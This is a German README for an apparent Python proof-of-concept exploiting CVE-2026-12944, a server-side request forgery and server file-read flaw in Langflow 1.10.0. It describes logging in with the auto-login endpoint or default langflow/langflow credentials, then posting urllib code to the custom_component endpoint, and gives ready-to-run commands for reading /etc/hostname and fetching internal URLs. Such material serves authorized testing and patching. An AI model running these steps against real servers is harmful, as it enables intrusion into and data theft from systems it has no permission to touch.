
Python-PoC für CVE-2026-12944, eine SSRF- und Datei-Lese-Schwachstelle in Langflow 1.10.0 über urllib. Fingerprintet Versionen und nutzt den custom_component-Endpunkt aus.
Langflow 1.10.0 urllib SSRF
Langflow OSS ≤ 1.10.0 — Ausführung von Custom-Component-Code über urllib.request / socket. Die Denylist des Component-Scanners ließ diese stdlib-Module aus. IBM hat das in 1.10.1 behoben.
IBM bewertet es mit PR:L. Die Exec-Senke ist POST /api/v1/custom_component, und dieser Aufruf benötigt ein Session-Cookie / Bearer-Token. Wie dieser PoC eines erhält:
--test authentifiziert nicht. Es macht nur GET /api/v1/version (plus ein Konnektivitäts-GET /).--read / --fetch authentifizieren zuerst und senden dann die Komponente per POST.LANGFLOW_AUTO_LOGIN. Das Skript macht und sendet, falls das JSON ein enthält, . Kein Benutzername oder Passwort.GET /api/v1/auto_loginaccess_tokenAuthorization: Bearer …POST /api/v1/login mit --uname / --password als application/x-www-form-urlencoded (username, password). Standardwerte sind langflow / langflow.POST /api/v1/custom_component mit {"code": …}, das urllib.request.urlopen(...) aufruft.--uname / --password existieren nur für Schritt 4. Bei einer Standardinstallation werden sie nicht verwendet.
Nur für autorisierte Tests. Führen Sie dies nicht gegen Systeme aus, die Ihnen nicht gehören oder für die Sie keine Testgenehmigung haben.
Erfordert: Python 3, nur Standardbibliothek.
python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --test
python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --read /etc/hostname
python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --fetch http://127.0.0.1:7860/api/v1/version
python3 cve-2026-12944-langflow-urllib-ssrf.py -u https://TARGET --read /etc/hostname --insecure
python3 cve-2026-12944-langflow-urllib-ssrf.py -u TARGET --uname langflow --password langflow --read /etc/hostname
| Flag | Was es bewirkt |
|---|---|
-u / --url | Langflow-Basis-URL (erforderlich). http:// oder https://. Ein Hostname ohne Schema wird zuerst als HTTPS versucht, dann als HTTP. http→https-Weiterleitungen behalten POST bei. Bei fehlerhaften TLS-Zertifikaten wird ohne Verifizierung erneut versucht; --insecure überspringt die Verifizierung von Anfang an |
--test | Nur Fingerprinting: GET /api/v1/version (öffentlich). Kein Login, kein custom_component |
--read PATH | Löst das Gadget aus: urllib.request file://-Lesen von PATH (wird auf dem Server ausgeführt) |
--fetch URL | SSRF: urllib.request.urlopen(URL) und Ausgabe des Bodys |
--uname / --password | Nur wenn AUTO_LOGIN deaktiviert ist (Standardwerte: langflow / langflow) |
--insecure | TLS-Verifizierung überspringen |
--timeout | HTTP-Timeout in Sekunden (Standard 30) |
--test-Endpunkt: GET /api/v1/version. Ein 200 mit "version" / "main_version" gibt VERSION aus, dann IN_WINDOW, falls dieser String 1.0.0–1.10.0 ist, dann PRESENT. Es ruft niemals /api/v1/auto_login oder /api/v1/custom_component auf.
--read / --fetch rufen GET /api/v1/auto_login (oder POST /api/v1/login) auf, dann POST /api/v1/custom_component.
Stdout: VERSION, IN_WINDOW, OUT_OF_WINDOW, PRESENT, VULNERABLE, NEED_AUTH, NOT_FOUND, NOT_VULNERABLE, READ.

CVE: CVE-2026-12944. IBM-Bulletin; Upgrade auf 1.10.1.